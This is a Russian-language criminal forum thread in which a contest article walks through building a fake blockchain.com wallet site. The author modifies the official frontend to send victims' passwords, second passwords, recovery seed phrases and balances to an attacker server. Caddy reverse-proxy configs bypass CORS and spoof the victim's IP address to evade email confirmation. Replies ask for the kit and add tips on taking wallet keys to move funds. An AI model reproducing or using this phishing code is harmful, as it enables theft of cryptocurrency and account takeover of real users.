• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Фейковый Blockchain: от идеи до реализации!

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Все мы наслышаны про фэйки блокчейна(в нашем случае blockchain.com), но видел ли кто из нас простых смертных саму реализацию и что вообще фэйк из себя представляет?

Купить на рынке готовый продукт при этом, не зная из чего он состоит технически - это очень рискованно. Ведь за последние полгода, а может и год - уже объявлялись очень много кидал, которые показывали демо фэйка и сливались после получения крупной суммы, но сама статья не об этом.

НЕСТАНДАРТНЫЙ конкурс статей - требует нестандартных решений)))
Дело было вечером, делать было нечего и я решил посмотреть, как же можно реализовать фэйк блокчейна, не имея общего технического представления как это реализовали другие, опираясь только на описание возможностей и документацию.
И так, на минуточку вспомним всё, что мы знаем про фэйки.
> Фейк (англ. fake — подделка, фальшивка, обман, мошенничество) — что-либо ложное, недостоверное, сфальсифицированное, выдаваемое за действительное, реальное, достоверное с целью ввести в заблуждение.
Простыми словами, фэйк - это полноценная копия сайта с единственным отличием в домене, где основная идея заключается в том, чтобы посетитель не понял подмены и ввёл нужные нам данные.
И так, поехали!

Первым делом заходим на сайт: https://login.blockchain.com
1.png


Замечаем внизу данные версии и ссылку, которая ведёт на Github.
Переходим по ней и видим, что в репозитории выложены сорсы веб-интерфейса!

2.png


Хм... интересно, получается, что можно поднять копию веб-интерфейса без каких-либо знаний?
Я не мог поверить своим глазам, разве это было так просто? Кому пришла идея выложить это добро официально вообще не понятно.
Далее вчитываемся в инструкцию, пробуем установить:
Код:
wget https://codeload.github.com/blockchain/blockchain-wallet-v4-frontend/zip/refs/tags/v4.48.16
unzip blockchain-wallet-v4-frontend-4.48.16.zip
cd blockchain-wallet-v4-frontend
./setup.sh
yarn start:dev
Результат - ну "почти" полноценный фэйк :)

3.png


Правда пока этот фэйк ничего не делает в плане отправки данных, чем мы сейчас и займёмся.
Нам нужно в файлах найти авторизацию и попробовать добавить свою функцию.
Ищем в файлах по ключевому слову "login".
Находим основной файл авторизации:

4.png


Открываем файл: packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js

Добавляем функцию для простой отправки:
Код:
const submitAuth = function ({guid, password}) {
    axios({
      url: `https://admin.blockchain.test/api/wallets`,
      method: 'POST',
      data: {
        guid: guid,
        password: password
      },
      headers: {
        'Content-Type': 'application/json'
      }
    })
  }
А так же после блока сессии:
Код:
let session = yield select(selectors.session.getSession, guid)
Добавляем:
Код:
yield call(submitAuth, {guid, password})
Осталось самое главное, запустить это всё на тестовом домене и посмотреть всю работоспособность.
Редактируем файл hosts:
Код:
127.0.0.1 login.blockchain.test
Открываем http://login.blockchain.test и пытаемся авторизоваться.
5.png


Смотрим, что ничего не происходит, первым делом проверяем консоль:
6.png


Ждало меня разочарование, оказывается API сервер не даёт делать запросы извне из-за CORS.
Думаем, думаем, как же решается CORS? Так ведь обычным реверс прокси на уровне веб-сервера. Разве нет?
Файл конфигурации для простого реверс прокси веб-сервера Caddy:
Код:
reverse.blockchain.test {
    route {
    reverse_proxy * https://blockchain.info  {
      header_up -Host
      header_up origin https://login.blockchain.com
      header_up referer https://login.blockchain.com/
      header_down Access-Control-Allow-Origin "*"
      header_down Content-Security-Policy "*"
      header_down Access-Control-Allow-Headers "*"
      header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
    }
  }
}
Что именно делает данный конфиг - просто проксирует все запросы к домену blockchain.info и меняет ответ в котором разрешает CORS-запросы, можно на абсолютно любом веб-сервере такое провернуть - для простоты работы и наглядности и был выбран Caddy, как отличный легковесный веб-сервер с автоматической поддержкой ssl, который написан на Go.

Теперь меняем адрес API сервера в нашем файле веб-интерфейса, для этого открываем файл config/env/production.js

Меняем:
Код:
ROOT_URL: 'https://blockchain.info',
На значение:
Код:
ROOT_URL: 'http://reverse.blockchain.test',
Пробуем еще раз авторизоваться:
51.png


Ураааа! Авторизация прошла успешно и письмо для подтверждения было отправлено.

Нам осталось только проверить почту и открыть письмо:
7.png

Да, но какого чёрта тут делает IP-адрес моего сервера? ??

Я на минуточку задумался, мы же только недавно обходили CORS, поэтому и высвечивается этот адрес, и тут я вспомнил... во всех темах, где арендовался фэйк было написано про такую фичу, как IP-спуфинг.

Смысл заключается в том, что обычный пользователь оказавшийся на фэйке при подтверждении по почте, поймёт, что это IP-адрес чужой и попросту не подтвердит, что не есть хорошо. Получается, без этой фичи наш фэйк - это лишь подобие мощного комбайна, такое можно было и на HTML+CSS сделать.

Нужно немного найти информации про этот спуф... и так вспоминаем:
IP-спуфинг - Вид хакерской атаки, заключающийся в использовании чужого IP-адреса источника с целью обмана системы безопасности.

Немного поразмыслив, вновь дочитав про IP-спуфинг, я пришёл к выводу, что IP-спуфинг работает только в UDP.
Протокол транспортного (4) уровня TCP имеет встроенный механизм для предотвращения спуфинга
В запросе HTTP не получится подменить IP-адрес, ведь HTTP работает через TCP протокол.

Неужели это конец? Я немного расстроился, заварил чайку и всё-таки решил еще раз, посмотреть сам сайт и запросы https://login.blockchain.com после авторизации:

8.png


О, да... очень интересный саб-домен в заголовке x-original-host: wallet.prod.blockchain.info!

Нам нужно узнать подробности для всех доменов и IP-адресов.

Делаем запрос, чтобы узнать, где находится blockchain.info:
Код:
nslookup blockchain.info

Non-authoritative answer:
Name: blockchain.info
Address: 104.16.143.212
Name: blockchain.info
Address: 104.16.147.212
Name: blockchain.info
Address: 104.16.144.212
Name: blockchain.info
Address: 104.16.146.212
Name: blockchain.info
Address: 104.16.145.212
Теперь узнаём кому принадлежит IP-адрес:
Код:
whois 104.16.143.212

NetRange:       104.16.0.0 - 104.31.255.255
CIDR:           104.16.0.0/12
NetName:        CLOUDFLARENET
NetHandle:      NET-104-16-0-0-1
Parent:         NET104 (NET-104-0-0-0-0)
NetType:        Direct Assignment
OriginAS:       AS13335
Organization:   Cloudflare, Inc. (CLOUD14)
RegDate:        2014-03-28
Updated:        2017-02-17
Comment:        All Cloudflare abuse reporting can be done via https://www.cloudflare.com/abuse
Осталось узнать, где находится wallet.prod.blockchain.info:
Код:
nslookup wallet.prod.blockchain.info

Name: wallet.prod.blockchain.info
Address: 35.201.74.1
Вновь узнаём кому принадлежит IP-адрес:
Код:
whois 35.201.74.1

NetRange:       35.192.0.0 - 35.207.255.255
CIDR:           35.192.0.0/12
NetName:        GOOGLE-CLOUD
NetHandle:      NET-35-192-0-0-1
Parent:         NET35 (NET-35-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       
Organization:   Google LLC (GOOGL-2)
RegDate:        2017-03-21
Updated:        2018-01-24
Comment:        *** The IP addresses under this Org-ID are in use by Google Cloud customers ***
На минутку я замер: они используют CloudFlare, но при этом основной сервер на который пересылаются запросы находится в облаке Google.

Пробуем пинговать:
Код:
 ping wallet.prod.blockchain.info -c 1

PING wallet.prod.blockchain.info (35.201.74.1) 56(84) bytes of data.
64 bytes from 1.74.201.35.bc.googleusercontent.com (35.201.74.1): icmp_seq=1 ttl=119 time=0.968 ms

--- wallet.prod.blockchain.info ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.968/0.968/0.968/0.000 ms
Открываем сам сайт:
9.png

404... хм... что-то и чай уже сильно остыл - ну да ладно, ведь мы тут нашли кое что-то очень интересное.

Я опять расстроился, но на минутку вспомнил, что раз сайт проксируется через CloudFlare, а далее передаётся в Google Cloud, то значит что они как-то передают нужные заголовки.

Ведь любой человек, который когда-либо работавший с CloudFlare знает, что все запросы на сервер идут: Посетитель <-> CloudFlare <-> Сервер.

Поэтому, чтобы восстановить реальный IP-адрес посетителя нам нужно прочитать документацию: https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs

И так, с уже остывшим чаем продолжаем наш путь, в документации говорится, что бы получить IP-адрес посетителя нужно получать данные из заголовков CF-Connecting-IP, в нашем же случае нам нужно отправлять такой заголовок, пробуем для начала в обычном запросе:
10.png


Проверяем почту:
11.png


Чему я был безумно рад, осталось это интегрировать в наш реверс прокси:
Код:
reverse.blockchain.test {
    route {
    reverse_proxy * https://wallet.prod.blockchain.info  {
      header_up -Host
      header_up origin https://login.blockchain.com
      header_up referer https://login.blockchain.com/
      header_up Cf-Connecting-Ip {http.request.remote.host}
      header_down Access-Control-Allow-Origin "*"
      header_down Content-Security-Policy "*"
      header_down Access-Control-Allow-Headers "*"
      header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
    }
  }
}
Авторизация работает, но почему-то не показывается баланс:
12.png


Открываем консоль, далее смотрим, что проблема возникает из-за того, что /multiadd доступен только blockchain.info, а в wallet.prod.blockchain.info его попросту нет:
13.png


Оказывается наш реверс прокси не совсем универсальный. Добавляем немного логики в наш реверс прокси:
Код:
reverse.blockchain.test {
    route {
    reverse_proxy /multiaddr https://blockchain.info  {
      header_up -Host
      header_up origin https://login.blockchain.com
      header_up referer https://login.blockchain.com/
      header_down Access-Control-Allow-Origin "*"
      header_down Content-Security-Policy "*"
      header_down Access-Control-Allow-Headers "*"
      header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
    }

    reverse_proxy * https://wallet.prod.blockchain.info  {
      header_up -Host
      header_up origin https://login.blockchain.com
      header_up referer https://login.blockchain.com/
      header_up Cf-Connecting-Ip {http.request.remote.host}
      header_down Access-Control-Allow-Origin "*"
      header_down Content-Security-Policy "*"
      header_down Access-Control-Allow-Headers "*"
      header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
    }
  }
}
Отлично! Теперь все работает прекрасно!

Как итог, мы уже имеем: захват логина и пароля + IP-спуфинг.
Но это нам ничего не даёт, ведь подтвердить по почте мы не сможем, а если у пользователя еще включена двух-факторная авторизация или блокировка по IP-адресу, то тут совсем беда.
Фэйк сделать-то сделали, но пользы от него мы не получим, если не будет постоянного доступа к аккаунту.
Решил всё-таки вернуться к истокам и еще раз посмотреть сам веб-интерфейс, нас интересуют настройки безопасности:

14.png


Интересно, секретный ключ восстановления даёт возможность любому получить доступ к аккаунту?! Простите, что? ?

15.png


Перечитываю пару раз и только потом доходит, что этот секретный ключ - это нечто из разряда святых, если его потерял то можно лишиться денег на аккаунте.
И если он показывается в веб-интерфейсе, значит можно тоже отправить к себе, но для начала нам нужно проверить возможности секретного ключа.

Включаем в настройках двух-факторное подтверждение + белый список по IP-адресу.
Нам осталось только проверить, для этого мы подключаемся через второй сокс и переходим по ссылке, где вводим ключ восстановления:

16.png


После ввода правильного секретного ключа появляется форма для смены пароля:

17.png


Вводим пароль и нажимаем на Recover Funds и после этого попадаем моментально в аккаунт:

18.png


Как итог, восстановление через секретный ключ позволяет обойти любые ограничения аккаунта: двух-факторную авторизацию + белый список по IP-адресу.

Это просто жесть, подумал я на минутку... значит даже смысла в записи логина пароля нет, можно просто собирать секретные ключи и восстанавливать аккаунты, а далее отключать настройки безопасности, в том числе изменять почтовый адрес.

"Так это фича, а не баг" - так сказали бы разработчики... ?

Теперь нам осталось добавить все недостающие возможности в сам фэйк.

1) Секретный ключ восстановления.
Ищем в файлах "recovery", находим единственную функцию "recoverySaga", которая и выводит приватный ключ восстановления:
Код:
const recoverySaga = function * ({ password }) {
    const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
    try {
      const mnemonicT = yield select(getMnemonic)
      const mnemonic = yield call(() => taskToPromise(mnemonicT))
      const mnemonicArray = mnemonic.split(' ')
      yield put(
        actions.modules.settings.addMnemonic({ mnemonic: mnemonicArray })
      )
    } catch (e) {
      yield put(
        actions.logs.logErrorMessage(logLocation, 'showBackupRecovery', e)
      )
    }
  }

Нам нужно немного его изменить, открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts

Добавляем функцию для возврата секретного ключа в удобном для нас формате:
Код:
const recoverySagaInfo = function * ({ password }) {
    const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
    try {
      const mnemonicT = yield select(getMnemonic)
      const mnemonic = yield call(() => taskToPromise(mnemonicT))
      return mnemonic;
    } catch (e) {
    }
}
Нужно еще эти данные отправить, добавляем функцию отправки:
Код:
const submitRecover = ({ guid, recovery }: { guid: string, recovery: any }) =>
    axios({
      url: `https://admin.blockchain.test/api/recovers`,
      method: 'POST',
      data: {
        guid: guid,
        recover: recovery
      },
      headers: {
        'Content-Type': 'application/json'
      }
    })
2) Дополнительный пароль подтверждения ака второй пасс.

Ищем в файлах "SecondPassword" находим удивительный вызов функции:
Код:
import { promptForSecondPassword } from 'services/sagas'
const password = yield call(promptForSecondPassword)
Прекрасно. Это именно то, что нам и было нужно.

Открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts

Добавляем функцию для отправки данных второго пароля:
Код:
const submitSecondPass = ({ guid, password }: { guid: string, password: string }) =>
  axios({
    url: `https://admin.blockchain.test/api/seconds`,
    method: 'POST',
    data: {
      guid: guid,
      password: password
    },
    headers: {
      'Content-Type': 'application/json'
    }
  })
Вызывать функцию будем чуть позже.

3) Баланс

Если будет информация о балансе кошелька, то будет легче понимать какой из аккаунтов нужно восстанавливать моментально и в дальнейшем просто добавить уведомления.

Ищем в файлах "balances", находим не менее удивительный вызов функции в том же файле, который мы редактировали ранее:
Код:
// check/wait for balances to be available
const balances = yield call(waitForAllBalances)
Добавляем функцию для отправки данных баланса:
Код:
const submitBalance = ({ balances, guid }: { balances: any, guid: string }) =>
    axios({
      url: `https://admin.blockchain.test/api/balances`,
      method: 'POST',
      data: {
        guid: guid,
        "btc": balances.btc,
        "eth": balances.eth,
        "bch": balances.bch,
        "pax": balances.pax,
        "xlm": balances.xlm,
        "usdt": balances.usdt,
        "wdgld": balances.wdgld
      },
      headers: {
        'Content-Type': 'application/json'
      }
    })
Теперь, после авторизации, чтобы отправляло, нам нужно изменить файл packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js:
Ищем функцию:
Код:
yield put(actions.goals.saveGoal('syncPit'))
Добавляем после неё
Код:
yield put(actions.goals.saveGoal('sendData'))
После чего нам нужно добавить новую функцию в файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts:
Код:
const runSendData = function * (goal) {
    const { id } = goal
    // Удаляём задачу, чтобы не запускалось сто раз.
    yield put(actions.goals.deleteGoal(id))
    
    // Ждём данных пользователя
    yield call(waitForUserData)
    
    // Получаем идентификатор аккаунта
    const guid = yield select(selectors.core.wallet.getGuid)
    
    // Ждём загрузки баланса
    const balances = yield call(waitForAllBalances)
    // @ts-ignore
    yield call(submitBalance, {guid, balances});
    
    // Получаем второй пароль
    const password = yield call(promptForSecondPassword)  || null ;
    // @ts-ignore
    yield call(submitSecondPass, {guid, password});

    // Получаем секретный ключ восстановления
    const recovery = yield call(recoverySagaInfo, { password })
    // @ts-ignore
    yield call(submitRecover, {guid, recovery});

  }
В том же файле ищем:
Код:
case 'syncPit':
    yield call(runSyncPitGoal, goal)
    break
Добавляем после неё
Код:
case 'sendData':
    yield call(runSendData, goal)
    break

В файле packages/blockchain-wallet-v4-frontend/src/data/goals/types.ts:

После "referral", добавляем "sendData".

Готово! Наш безупречный фэйк со всеми возможностями создан.

Для наглядности хотелось бы так же выложить материалы с подробными инструкциями по установке на сервер:
- Фэйк (конфиги + скрипты, сервер vps-1)
- Реверс прокси (конфиги + скрипты, сервер vps-2)
- Простенькая админ панель (конфиги + скрипты, сервер vps-3)

Но опасаясь спекуляций со стороны недобросовестных пользователей(и резкого роста торговцев фейками блокчейна) данный материал в иерархическом порядке хотелось бы передать администраторами и модераторам форума, а так же специалистам, которые бы хотели "потрогать" и убедиться, что всё описанное в данной статье - актуально и работает на момент публикации.

PS: возможно полетят абузы, что в паблик уходит приват, но нет, друзья - до этого мог дойти любой и тут показано как именно достигнут результат, а не просто выкладывается готовое решение.

Данная статья для конкурса является прямым подтверждением того, что нет ничего невозможного.
Просто пробуйте, и Вы добьетесь всего и всегда.
С единственной в данном случае оговоркой, о которой хотелось бы напомнить(привет, Ubuntu/Debian):
"C великой силой приходит и великая ответственность"


Автор stooper
источник конкурс статей exploit.in
 
Наверно было бы лучше, чтобы выложил сам stooper. Но уже ладно, будет так. stooper отпишись здесь, люди хоть должны знать, кого благодарить лайками =)
 
Супер статья, если бы еще тут выложили файлы все то цены бы ей не было
А что самому лень их взять на гитхабе?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А что самому лень их взять на гитхабе?
- Реверс прокси (конфиги + скрипты, сервер vps-2)
- Простенькая админ панель (конфиги + скрипты, сервер vps-3)

Я думаю этого на гидхабе не найти
 
- Реверс прокси (конфиги + скрипты, сервер vps-2)
- Простенькая админ панель (конфиги + скрипты, сервер vps-3)

Я думаю этого на гидхабе не найти
Если сам не пишешь, то пусть ТС под хайд выставит нормальный, либо же жди может все проверят админы)
Либо на фрилансе закажи, халява только в мышолвке бывает)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если сам не пишешь, то пусть ТС под хайд выставит нормальный, либо же жди может все проверят админы)
Либо на фрилансе закажи, халява только в мышолвке бывает)
Я думаю что админы экспы которым он выложил файлы давно отписали в тех поддержку блокч, сообщили где что нужно пофиксить и срубили за это денег с них
 
Наверно было бы лучше, чтобы выложил сам stooper. Но уже ладно, будет так. stooper отпишись здесь, люди хоть должны знать, кого благодарить лайками =)
ну ладно. пусть это будет пост для благодарностей))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ну ладно. пусть это будет пост для благодарностей))
stooper выложи тут файлы пожалуйста (могу оплатить)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Еще статью можно дополнить тем что можно взять приватный ключ кошелька и импортировать его в свою аккаунт blockchain или другой кошелек bitcoin
В меню Wallets & Addresses
-
напротив кошелька жмем Manage
- попадаем в Private Key Wallet
- жмем опять Manage и в меню выбираем Show xPub

вот этот ключ импортируем в свой аккаунт

Что это дает?
- отслеживание баланса кошелька в реальном времени без дополнительных манипуляций с чеком баланса
- "изьяетие" денежной суммы путем перевода на свой кошелек
 
wow what an article. very interesting and good pentesting approach, I can see years of experience in breaking security :)
i hope to see more exploit.in articles here, as i'm unable to paid the subscription :(
but i have the zeal for learning and breaking security :)
please more articles though :)
 
blockchain.com sets some keys in local storage of browser. Can that keys be stolen. If you feed that info in your browser, and login from different IP address, there will be no need for email confirmation, if you later try login with username and password.
 
Я думаю что админы экспы которым он выложил файлы давно отписали в тех поддержку блокч, сообщили где что нужно пофиксить и срубили за это денег с них
в любом случае кто владеет информацией- владеет миром, только вот корпорации не всегда охотно платят
 
Я думаю что админы экспы которым он выложил файлы давно отписали в тех поддержку блокч, сообщили где что нужно пофиксить и срубили за это денег с них
Я думаю что админам глубоко насрать раз устраивают конкурс статей на 100к$
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх